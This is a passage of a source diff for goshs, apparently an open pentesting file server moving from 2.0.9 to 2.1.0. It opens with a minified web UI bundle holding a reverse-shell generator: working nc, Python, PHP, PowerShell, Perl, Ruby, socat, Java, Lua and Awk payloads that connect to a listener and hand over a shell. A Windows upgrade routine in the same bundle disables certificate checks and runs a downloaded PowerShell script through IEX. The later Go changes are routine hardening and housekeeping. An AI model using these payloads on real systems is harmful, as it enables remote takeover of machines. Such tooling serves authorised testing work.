nc -e":"busybox nc {IP} {PORT} -e sh","nc -c":"nc -c sh {IP} {PORT}","nc mkfifo":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {IP} {PORT} >/tmp/f","ncat -e":"ncat {IP} {PORT} -e /bin/sh","ncat udp":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|ncat -u {IP} {PORT} >/tmp/f","Python3 #1":`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP}",{PORT}));os.dup2(s.fileno(),0);os.dup2(s .fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`,"Python3 #2":`python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("{IP}",{PORT}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'`,"PHP exec":`php -r '$s=fsockopen("{IP}",{PORT});exec("/bin/sh -i <&3 >&3 2>&3");'`,"PHP shell_exec":`php -r '$s=fsockopen("{IP}",{PORT});shell_exec("/bin/sh -i <&3 >&3 2>&3");'`,"PHP passthru":`php -r '$s=fsockopen("{IP}",{PORT});passthru("/bin/sh -i <&3 >&3 2>&3");'`,"PowerShell #1":'$LHOST = "{IP}"; $LPORT = {PORT}; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ( [text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()',"PowerShell #2":`powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('{IP}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`,"PowerShell #3 (Base64)":"PS_B64:$client = New-Object System.Net.Sockets.TCPClient('{IP}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()","PowerShell #4 (TLS)":"$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('{IP}', {port});$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Obj ect System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()","PowerShell #5 (Base64, stderr)":`PS_B64:$ErrorView="NormalView";$ErrorActionPreference="Continue";$c=New-Object System.Net.Sockets.TCPClient('{IP}',{port});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){$d=([text.encoding]::ASCII).GetString($b,0,$i);try{$o=iex $d 2>&1 3>&1 4>&1 5>&1 6>&1|Out-String}catch{$o=$_|Out-String}if([string]::IsNullOrEmpty($o)){$o=""}$p="PS "+(pwd).Path+"> ";[byte[]]$sb=([text.encoding]::ASCII).GetBytes($o+$p);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()`,Perl:`perl -e 'use Socket;$i="{IP}";$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobynam e("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,Ruby:`ruby -rsocket -e'f=TCPSocket.open("{IP}",{PORT}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`,"Socat #1":"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{IP}:{PORT}","Java #1":'Runtime rt = Runtime.getRuntime();String[] cmd = {"/bin/bash","-c","bash -i >& /dev/tcp/{IP}/{PORT} 0>&1"};rt.exec(cmd);',Lua:`lua -e 'require("socket");require("os");t=socket.tcp();t:connect("{IP}","{PORT}");os.execute("/bin/sh -i <&3 >&3 2>&3");'`,Awk:`awk 'BEGIN{s="/inet/tcp/0/{IP}/{PORT}";while(1){do{printf"$ "|&s;s|&getline c;if(c){while((c|&getline)>0)print$0|&s;close(c)}}while(c!="exit")}}'`,"node.js":"require('child_process').exec('/bin/sh -i <&3 >&3 2>&3')",Golang:`package main import( "os/exec" @@ -291,4 +291,4 @@ `)),setTimeout(()=>{t.ws?.readyState===WebSocket.OPEN&&t.ws.send(s.encode(`python3 -c 'import pty;pty.spawn("/bin/bash")' 2>/dev/null || python -c 'import pty;pty.spawn("/bin/bash")' 2>/dev/null || script /dev/null -qc /bin/bash 2>/dev/null || true `))},200),setTimeout(()=>{t.ws?.readyState===WebSocket.OPEN&&t.ws.send(s.encode(`stty rows ${o} cols ${n} `))},1500),t.lineMode=!1,t.lineBuffer="";let a=document.querySelector(`#session-${e} .catcher-session-linemode`);a&&a.classList.remove("active")}function xt(e){let t=x.sessions[e];if(!t?.ws||t.ws.readyState!==WebSocket.OPEN){m("Connect to the session first","err");return}let s=t.term?.rows||24,o=t.term?.cols||80,n=new TextEncoder,a=location.protocol==="https:"?"https":"http",c=location.host,l=`[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Add-Type -TypeDefinition 'using System.Net;using System.Security.Cryptography.X509Certificates;public class Trust{public static void Enable(){System.Net.ServicePointManager.ServerCertificateValidationCallback=delegate{return true;};}}';[Trust]::Enable();IEX((New-Object Net.WebClient).DownloadString('${`${a}://${c}/ConPtyShell.ps1?embedded`}'));Invoke-ConPtyShell -Upgrade -Rows ${s} -Cols ${o} -`;t.ws.send(n.encode(l)),t.lineMode=!1,t.lineBuffer="";let p=document.querySelector(`#session-${e} .catcher-session-linemode`);p&&p.classList.remove("active"),m("Sent ConPtyShell upgrade command","ok")}function Ct(e){let t=x.sessions[e];t&&(t.ws&&(t.ws.close(),t.ws=null),t.term&&(t.term.dispose(),t.term=null),delete x.sessions[e])}function St(e){let t=document.querySelector('meta[name="csrf-token"]')?.content||"";fetch("/?catcher-api=kill-session",{method:"POST",headers:{"Content-Type":"application/json","X-CSRF-Token":t},body:JSON.stringify({id:e})}).then(()=>{Ct(e),document.getElementById(`session-${e}`)?.remove()}).catch(()=>{})}function $t(){Vt()}Object.assign(window,{toggleTheme:Ue,switchPanel:ze,switchCollab:Xe,clearHTTP:we,clearDNS:xe,clearSMTP:Ee,clearSMB:Ce,clearLDAP:Se,filterHTTP:ve,renderDNS:j,renderSMB:U,renderLDAP:F,renderSMTP:W,exportHTTP:ue,exportDNS:he,exportSMTP:fe,exportSMB:ye,exportLDAP:be,exportAllLogs:ge,openHTMLPreview:$e,openLightbox:ee,toggleHTTPDetail:me,pre viewFile:R,navigateTo:Le,filterFiles:Be,sortTable:Ie,clearSelection:te,downloadSelected:ne,downloadBulk:Pe,deleteFile:G,updateBulkBar:X,startUpload:qe,openUpload:Ne,openMkdir:Me,handleFileSelect:z,createDir:Re,removeUpload:Ae,sendClip:Qe,copyClip:Ke,deleteClip:Ze,downloadClipboard:Ye,clearClipboard:et,shareFile:Q,showQR:ot,showShareQR:rt,generateShareLink:st,deleteShareLink:it,copyShareUrl:ct,openModal:S,closeModal:A,filterEmbedded:We,sortEmbedded:_e,copyEmbLink:Je,spawnListenerTab:mt,switchCatcherTab:K,copyListenerCommand:pt,updateGeneratorOutput:oe,copyGeneratorOutput:dt,startCatcherListener:ut,restartCatcherListener:ft,stopCatcherListener:ht,showRestartForm:ae,connectCatcherSession:bt,killCatcherSession:St,resizeCatcherTerm:vt,toggleLineMode:gt,upgradeCatcherUnix:wt,upgradeCatcherWindows:xt});var Z=[],B=-1;function Et(){let e=document.getElementById("cli-input");e&&e.addEventListener("keydown",t=>{if(t.key==="Enter"){let s=e.value.trim();if(!s)return;Z.unshift(s),B=-1,re(s,"cmd") ,e.value="",r.ws.send(JSON.stringify({type:"command",content:s}))}else t.key==="ArrowUp"?(B=Math.min(B+1,Z.length-1),e.value=Z[B]||"",t.preventDefault()):t.key==="ArrowDown"&&(B=Math.max(B-1,-1),e.value=B>=0?Z[B]:"",t.preventDefault())})}function re(e,t){let s=document.getElementById("cli-output");if(!s)return;let o=document.createElement("pre");o.className="cli-line"+(t?" "+t:""),o.textContent=e,s.appendChild(o),s.scrollTop=s.scrollHeight}function kt(e){e.content?re(e.content,""):re("something went wrong","err")}var L={};function Tt(e){L=e}function ce(){let e=location.protocol==="https:"?"wss":"ws";r.ws=new WebSocket(`${e}://${window.location.host}/?ws`),r.ws.onopen=()=>{document.getElementById("ws-status").style.color="var(--accent)",document.getElementById("collab-status").textContent="connected",console.log("Websocket connected")},r.ws.onclose=()=>{document.getElementById("ws-status").style.color="var(--danger)",document.getElementById("collab-status").textContent="reconnecting\ u2026",setTimeout(ce,2500),console.log("WebSocket closed")},r.ws.onmessage=t=>{let s;try{s=JSON.parse(t.data)}catch{return}s.type==="dns"?L.onDNS(s):s.type==="smtp"?L.onSMTP(s):s.type==="http"?L.onHTTP(s):s.type==="smb"?L.onSMB(s):s.type==="ldap"?L.onLDAP(s):s.type==="refreshClipboard"?Ve(s):s.type==="reload"?location.reload():s.type==="catchup"?Zt(s):s.type==="updateCLI"?kt(s):s.type==="catcherConnection"&&yt(s)}}function Zt(e){let t=e.http||[];if(t.length){for(let i=t.length-1;i>=0;i--)r.httpEvents.push(t[i]);r.httpCnt=r.httpEvents.length,w("http-badge",r.httpCnt)}let s=e.dns||[];if(s.length){for(let i=s.length-1;i>=0;i--){let l=s[i];r.dnsEvents.push(l),r.dnsCnt.total++,l.qtype==="A"?r.dnsCnt.A++:l.qtype==="MX"?r.dnsCnt.MX++:l.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++}w("dns-badge",r.dnsEvents.length),w("dns-cnt-total",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other)}let o=e.smtp||[];if(o.leng th){for(let i=o.length-1;i>=0;i--)r.smtpEvents.push(o[i]);w("smtp-badge",r.smtpEvents.length)}let n=e.smb||[];if(n.length){for(let i=n.length-1;i>=0;i--)r.smbEvents.push(n[i]);w("smb-badge",r.smbEvents.length)}let a=e.ldap||[];if(a.length){for(let i=a.length-1;i>=0;i--)r.ldapEvents.push(a[i]);w("ldap-badge",r.ldapEvents.length)}let c=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;if(c>0){let i=document.getElementById("collab-badge");i.classList.add("show"),i.textContent=c}t.length&&L.renderHTTP(),s.length&&L.renderDNS(),o.length&&L.renderSMTP(),n.length&&L.renderSMB(),a.length&&L.renderLDAP()}function Lt(){let e=document.getElementById("ctx-menu");document.getElementById("file-tbody").addEventListener("contextmenu",t=>{let s=t.target.closest("tr[data-name]");if(!s||!s.dataset.name||s.dataset.name==="..")return;t.preventDefault();let o=s.dataset.name,n=s.dataset.isdir==="true",a=!n&&V(o);document.getElementById("ctx-download").style.display=n? "none":"",document.getElementById("ctx-preview").style.display=a?"":"none",document.getElementById("ctx-preview").onclick=()=>{R(o),P()},document.getElementById("ctx-open").onclick=()=>{a?R(o):window.location.href=o+(n?"/":""),P()},document.getElementById("ctx-download").onclick=()=>{let c=document.createElement("a");c.href=o,c.download=o,c.click(),P()},document.getElementById("ctx-share").onclick=()=>{Q(o),P()},document.getElementById("ctx-delete").onclick=()=>{G(o),P()},e.style.left=Math.min(t.clientX,window.innerWidth-180)+"px",e.style.top=Math.min(t.clientY,window.innerHeight-180)+"px",e.classList.add("open")}),document.addEventListener("click",P)}function P(){document.getElementById("ctx-menu").classList.remove("open")}de(P);document.addEventListener("DOMContentLoaded",()=>{let e=sessionStorage.getItem("activeTab");if(e){sessionStorage.removeItem("activeTab");let s=document.getElementById(e);s&&s.click()}je(),Ge(),De(),Et(),Lt(),at(),$t();let t=ke();Tt(t),ce()});})(); +`;t.ws.send(n.encode(l)),t.lineMode=!1,t.lineBuffer="";let p=document.querySelector(`#session-${e} .catcher-session-linemode`);p&&p.classList.remove("active"),m("Sent ConPtyShell upgrade command","ok")}function Ct(e){let t=x.sessions[e];t&&(t.ws&&(t.ws.close(),t.ws=null),t.term&&(t.term.dispose(),t.term=null),delete x.sessions[e])}function St(e){let t=document.querySelector('meta[name="csrf-token"]')?.content||"";fetch("/?catcher-api=kill-session",{method:"POST",headers:{"Content-Type":"application/json","X-CSRF-Token":t},body:JSON.stringify({id:e})}).then(()=>{Ct(e),document.getElementById(`session-${e}`)?.remove()}).catch(()=>{})}function $t(){Vt()}Object.assign(window,{toggleTheme:Ue,switchPanel:ze,switchCollab:Xe,clearHTTP:we,clearDNS:xe,clearSMTP:Ee,clearSMB:Ce,clearLDAP:Se,filterHTTP:ve,renderDNS:H,renderSMB:j,renderLDAP:U,renderSMTP:F,exportHTTP:ue,exportDNS:he,exportSMTP:fe,exportSMB:ye,exportLDAP:be,exportAllLogs:ge,openHTMLPreview:$e,openLightbox:ee,toggleHTTPDetail:me,pre viewFile:W,navigateTo:Le,filterFiles:Be,sortTable:Ie,clearSelection:te,downloadSelected:ne,downloadBulk:Pe,deleteFile:G,updateBulkBar:X,startUpload:qe,openUpload:Ne,openMkdir:Me,handleFileSelect:z,createDir:Re,removeUpload:Ae,sendClip:Qe,copyClip:Ke,deleteClip:Ze,downloadClipboard:Ye,clearClipboard:et,shareFile:Q,showQR:ot,showShareQR:rt,generateShareLink:st,deleteShareLink:it,copyShareUrl:ct,openModal:S,closeModal:A,filterEmbedded:We,sortEmbedded:_e,copyEmbLink:Je,spawnListenerTab:mt,switchCatcherTab:K,copyListenerCommand:pt,updateGeneratorOutput:oe,copyGeneratorOutput:dt,startCatcherListener:ut,restartCatcherListener:ft,stopCatcherListener:ht,showRestartForm:ae,connectCatcherSession:bt,killCatcherSession:St,resizeCatcherTerm:vt,toggleLineMode:gt,upgradeCatcherUnix:wt,upgradeCatcherWindows:xt});var Z=[],B=-1;function Et(){let e=document.getElementById("cli-input");e&&e.addEventListener("keydown",t=>{if(t.key==="Enter"){let s=e.value.trim();if(!s)return;Z.unshift(s),B=-1,re(s,"cmd") ,e.value="",r.ws.send(JSON.stringify({type:"command",content:s}))}else t.key==="ArrowUp"?(B=Math.min(B+1,Z.length-1),e.value=Z[B]||"",t.preventDefault()):t.key==="ArrowDown"&&(B=Math.max(B-1,-1),e.value=B>=0?Z[B]:"",t.preventDefault())})}function re(e,t){let s=document.getElementById("cli-output");if(!s)return;let o=document.createElement("pre");o.className="cli-line"+(t?" "+t:""),o.textContent=e,s.appendChild(o),s.scrollTop=s.scrollHeight}function kt(e){e.content?re(e.content,""):re("something went wrong","err")}var L={};function Tt(e){L=e}function ce(){let e=location.protocol==="https:"?"wss":"ws";r.ws=new WebSocket(`${e}://${window.location.host}/?ws`),r.ws.onopen=()=>{document.getElementById("ws-status").style.color="var(--accent)",document.getElementById("collab-status").textContent="connected",console.log("Websocket connected")},r.ws.onclose=()=>{document.getElementById("ws-status").style.color="var(--danger)",document.getElementById("collab-status").textContent="reconnecting\ u2026",setTimeout(ce,2500),console.log("WebSocket closed")},r.ws.onmessage=t=>{let s;try{s=JSON.parse(t.data)}catch{return}s.type==="dns"?L.onDNS(s):s.type==="smtp"?L.onSMTP(s):s.type==="http"?L.onHTTP(s):s.type==="smb"?L.onSMB(s):s.type==="ldap"?L.onLDAP(s):s.type==="refreshClipboard"?Ve(s):s.type==="reload"?location.reload():s.type==="catchup"?Zt(s):s.type==="updateCLI"?kt(s):s.type==="catcherConnection"&&yt(s)}}function Zt(e){let t=e.http||[];if(t.length){for(let i=t.length-1;i>=0;i--)r.httpEvents.push(t[i]);r.httpCnt=r.httpEvents.length,w("http-badge",r.httpCnt)}let s=e.dns||[];if(s.length){for(let i=s.length-1;i>=0;i--){let l=s[i];r.dnsEvents.push(l),r.dnsCnt.total++,l.qtype==="A"?r.dnsCnt.A++:l.qtype==="MX"?r.dnsCnt.MX++:l.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++}w("dns-badge",r.dnsEvents.length),w("dns-cnt-total",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other)}let o=e.smtp||[];if(o.leng th){for(let i=o.length-1;i>=0;i--)r.smtpEvents.push(o[i]);w("smtp-badge",r.smtpEvents.length)}let n=e.smb||[];if(n.length){for(let i=n.length-1;i>=0;i--)r.smbEvents.push(n[i]);w("smb-badge",r.smbEvents.length)}let a=e.ldap||[];if(a.length){for(let i=a.length-1;i>=0;i--)r.ldapEvents.push(a[i]);w("ldap-badge",r.ldapEvents.length)}let c=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;if(c>0){let i=document.getElementById("collab-badge");i.classList.add("show"),i.textContent=c}t.length&&L.renderHTTP(),s.length&&L.renderDNS(),o.length&&L.renderSMTP(),n.length&&L.renderSMB(),a.length&&L.renderLDAP()}function Lt(){let e=document.getElementById("ctx-menu");document.getElementById("file-tbody").addEventListener("contextmenu",t=>{let s=t.target.closest("tr[data-name]");if(!s||!s.dataset.name||s.dataset.name==="..")return;t.preventDefault();let o=s.dataset.name,n=s.dataset.isdir==="true",a=!n&&V(o);document.getElementById("ctx-download").style.display=n? "none":"",document.getElementById("ctx-preview").style.display=a?"":"none",document.getElementById("ctx-preview").onclick=()=>{W(o),P()},document.getElementById("ctx-open").onclick=()=>{window.open(o+(n?"/":""),"_blank"),P()},document.getElementById("ctx-download").onclick=()=>{let c=document.createElement("a");c.href=o,c.download=o,c.click(),P()},document.getElementById("ctx-share").onclick=()=>{Q(o),P()},document.getElementById("ctx-delete").onclick=()=>{G(o),P()},e.style.left=Math.min(t.clientX,window.innerWidth-180)+"px",e.style.top=Math.min(t.clientY,window.innerHeight-180)+"px",e.classList.add("open")}),document.addEventListener("click",P)}function P(){document.getElementById("ctx-menu").classList.remove("open")}de(P);document.addEventListener("DOMContentLoaded",()=>{let e=sessionStorage.getItem("activeTab");if(e){sessionStorage.removeItem("activeTab");let s=document.getElementById(e);s&&s.click()}je(),Ge(),De(),Et(),Lt(),at(),$t();let t=ke();Tt(t),ce()});})(); diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/structs.go new/goshs-2.1.0/httpserver/structs.go --- old/goshs-2.0.9/httpserver/structs.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/structs.go 2026-05-29 12:20:25.000000000 +0200 @@ -93,7 +93,7 @@ Options *options.Options CatcherMgr *catcher.Manager CSRFToken string - authCache map[string]bool + authCache map[string]time.Time // expiry time per verified credential authCacheMu sync.RWMutex authFailures map[string]*authFailEntry authFailMu sync.Mutex diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/integration/functions.go new/goshs-2.1.0/integration/functions.go --- old/goshs-2.0.9/integration/functions.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/integration/functions.go 2026-05-29 12:20:25.000000000 +0200 @@ -89,7 +89,7 @@ FromDockerfile: testcontainers.FromDockerfile{ Context: dockerfilePath, Dockerfile: "Dockerfile", - Repo: "patrickhener/goshs", + Repo: "goshs-labs/goshs", Tag: "integration", }, HostConfigModifier: func(hc *container.HostConfig) { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/ldapserver/protocol.go new/goshs-2.1.0/ldapserver/protocol.go --- old/goshs-2.0.9/ldapserver/protocol.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/ldapserver/protocol.go 2026-05-29 12:20:25.000000000 +0200 @@ -45,6 +45,8 @@ return int(binary.BigEndian.Uint32(buf)), nil } +const maxTLVSize = 1 << 20 // 1 MB â prevents OOM from crafted length fields + // readTLV reads one BER TLV element and returns its tag and value bytes. func readTLV(r io.Reader) (tag byte, val []byte, err error) { var t [1]byte @@ -56,6 +58,9 @@ if e != nil { return 0, nil, e } + if l > maxTLVSize { + return 0, nil, fmt.Errorf("TLV length %d exceeds maximum allowed size", l) + } val = make([]byte, l) _, err = io.ReadFull(r, val) return @@ -99,10 +104,10 @@ return buf.Bytes() } -func berSeq(children ...[]byte) []byte { return tlv(tagSequence, cat(children...)) } -func berSet(children ...[]byte) []byte { return tlv(tagSet, cat(children...)) } -func berStr(s string) []byte { return tlv(tagOctetString, []byte(s)) } -func berEnum(v int) []byte { return tlv(tagEnum, []byte{byte(v)}) } +func berSeq(children ...[]byte) []byte { return tlv(tagSequence, cat(children...)) } +func berSet(children ...[]byte) []byte { return tlv(tagSet, cat(children...)) } +func berStr(s string) []byte { return tlv(tagOctetString, []byte(s)) } +func berEnum(v int) []byte { return tlv(tagEnum, []byte{byte(v)}) } func berInt(v int) []byte { if v >= 0 && v <= 127 { return tlv(tagInteger, []byte{byte(v)}) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/logger/logger.go new/goshs-2.1.0/logger/logger.go --- old/goshs-2.0.9/logger/logger.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/logger/logger.go 2026-05-29 12:20:25.000000000 +0200 @@ -12,9 +12,9 @@ "os" "strings" - "goshs.de/goshs/v2/webhook" "github.com/pkg/sftp" "github.com/sirupsen/logrus" + "goshs.de/goshs/v2/webhook" ) func isBase64(s string) bool { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/packaging/rpm/goshs.spec new/goshs-2.1.0/packaging/rpm/goshs.spec --- old/goshs-2.0.9/packaging/rpm/goshs.spec 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/packaging/rpm/goshs.spec 2026-05-29 12:20:25.000000000 +0200 @@ -1,10 +1,10 @@ Name: goshs -Version: 2.0.9 +Version: 2.1.0 Release: 1%{?dist} Summary: Beyond Python's http.server â single-binary file server for pentesters License: MIT -URL: https://github.com/patrickhener/goshs +URL: https://github.com/goshs-labs/goshs Source0: %{url}/archive/refs/tags/v%{version}.tar.gz#/%{name}-%{version}.tar.gz BuildRequires: golang @@ -40,6 +40,8 @@ %{_bindir}/%{name} %changelog +* Fri May 29 2026 Patrick Hener <[email protected]> - 2.1.0-1 +- Add new version v2.1.0 * Wed May 27 2026 Patrick Hener <[email protected]> - 2.0.9-1 - Add new version v2.0.9 * Wed May 13 2026 Patrick Hener <[email protected]> - 2.0.8-1 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/sanity/checks_test.go new/goshs-2.1.0/sanity/checks_test.go --- old/goshs-2.0.9/sanity/checks_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/sanity/checks_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -5,8 +5,8 @@ "path/filepath" "testing" - "goshs.de/goshs/v2/options" "github.com/stretchr/testify/require" + "goshs.de/goshs/v2/options" ) func TestSanitize_EmptyWebroot(t *testing.T) { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/sanity/sanity_test.go new/goshs-2.1.0/sanity/sanity_test.go --- old/goshs-2.0.9/sanity/sanity_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/sanity/sanity_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -5,8 +5,8 @@ "path/filepath" "testing" - "goshs.de/goshs/v2/options" "github.com/stretchr/testify/require" + "goshs.de/goshs/v2/options" ) func TestSanitize_AbsolutePathUnchanged(t *testing.T) { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/sftpserver/handler.go new/goshs-2.1.0/sftpserver/handler.go --- old/goshs-2.0.9/sftpserver/handler.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/sftpserver/handler.go 2026-05-29 12:20:25.000000000 +0200 @@ -4,8 +4,8 @@ "errors" "io" - "goshs.de/goshs/v2/logger" "github.com/pkg/sftp" + "goshs.de/goshs/v2/logger" ) // ReadOnlyHandler is an SFTP handler that only allows read operations diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/sftpserver/handler_test.go new/goshs-2.1.0/sftpserver/handler_test.go --- old/goshs-2.0.9/sftpserver/handler_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/sftpserver/handler_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -8,11 +8,11 @@ "path/filepath" "testing" + "github.com/pkg/sftp" + "github.com/stretchr/testify/require" "goshs.de/goshs/v2/httpserver" "goshs.de/goshs/v2/options" "goshs.de/goshs/v2/webhook" - "github.com/pkg/sftp" - "github.com/stretchr/testify/require" ) func testSFTPServer(root string) *SFTPServer { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/sftpserver/helper.go new/goshs-2.1.0/sftpserver/helper.go --- old/goshs-2.0.9/sftpserver/helper.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/sftpserver/helper.go 2026-05-29 12:20:25.000000000 +0200 @@ -196,20 +196,10 @@ sftpServer.HandleWebhookSend("sftp", r, ip, true) return fmt.Errorf("chmod failed %w", err) } - return nil } logger.LogSFTPRequest(r, ip) sftpServer.HandleWebhookSend("sftp", r, ip, false) - err := os.Chmod(fullPath, os.FileMode(r.Attributes().Mode)) - if err != nil { - logger.LogSFTPRequestBlocked(r, ip, err) - sftpServer.HandleWebhookSend("sftp", r, ip, true) - return err - } else { - logger.LogSFTPRequest(r, ip) - sftpServer.HandleWebhookSend("sftp", r, ip, false) - return err - } + return nil case "Rename": targetPath, err := sanitizePath(r.Target, root) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/sftpserver/sftpserver_test.go new/goshs-2.1.0/sftpserver/sftpserver_test.go --- old/goshs-2.0.9/sftpserver/sftpserver_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/sftpserver/sftpserver_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -7,9 +7,9 @@ "testing" "time" - "goshs.de/goshs/v2/webhook" "github.com/pkg/sftp" "github.com/stretchr/testify/require" + "goshs.de/goshs/v2/webhook" ) var sftpserver *SFTPServer = &SFTPServer{ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/smbserver/protocol.go new/goshs-2.1.0/smbserver/protocol.go --- old/goshs-2.0.9/smbserver/protocol.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/smbserver/protocol.go 2026-05-29 12:20:25.000000000 +0200 @@ -26,9 +26,9 @@ SMB2_CANCEL uint16 = 0x000C SMB2_ECHO uint16 = 0x000D SMB2_QUERY_DIRECTORY uint16 = 0x000E - SMB2_CHANGE_NOTIFY uint16 = 0x000F - SMB2_QUERY_INFO uint16 = 0x0010 - SMB2_SET_INFO uint16 = 0x0011 + SMB2_CHANGE_NOTIFY uint16 = 0x000F + SMB2_QUERY_INFO uint16 = 0x0010 + SMB2_SET_INFO uint16 = 0x0011 ) // -- SMB2 access mask flags @@ -158,9 +158,9 @@ FileDispositionInformation uint8 = 13 FilePositionInformation uint8 = 14 FileModeInformation uint8 = 16 - FileAllInformation uint8 = 18 - FileAllocationInformation uint8 = 19 - FileEndOfFileInformation uint8 = 20 + FileAllInformation uint8 = 18 + FileAllocationInformation uint8 = 19 + 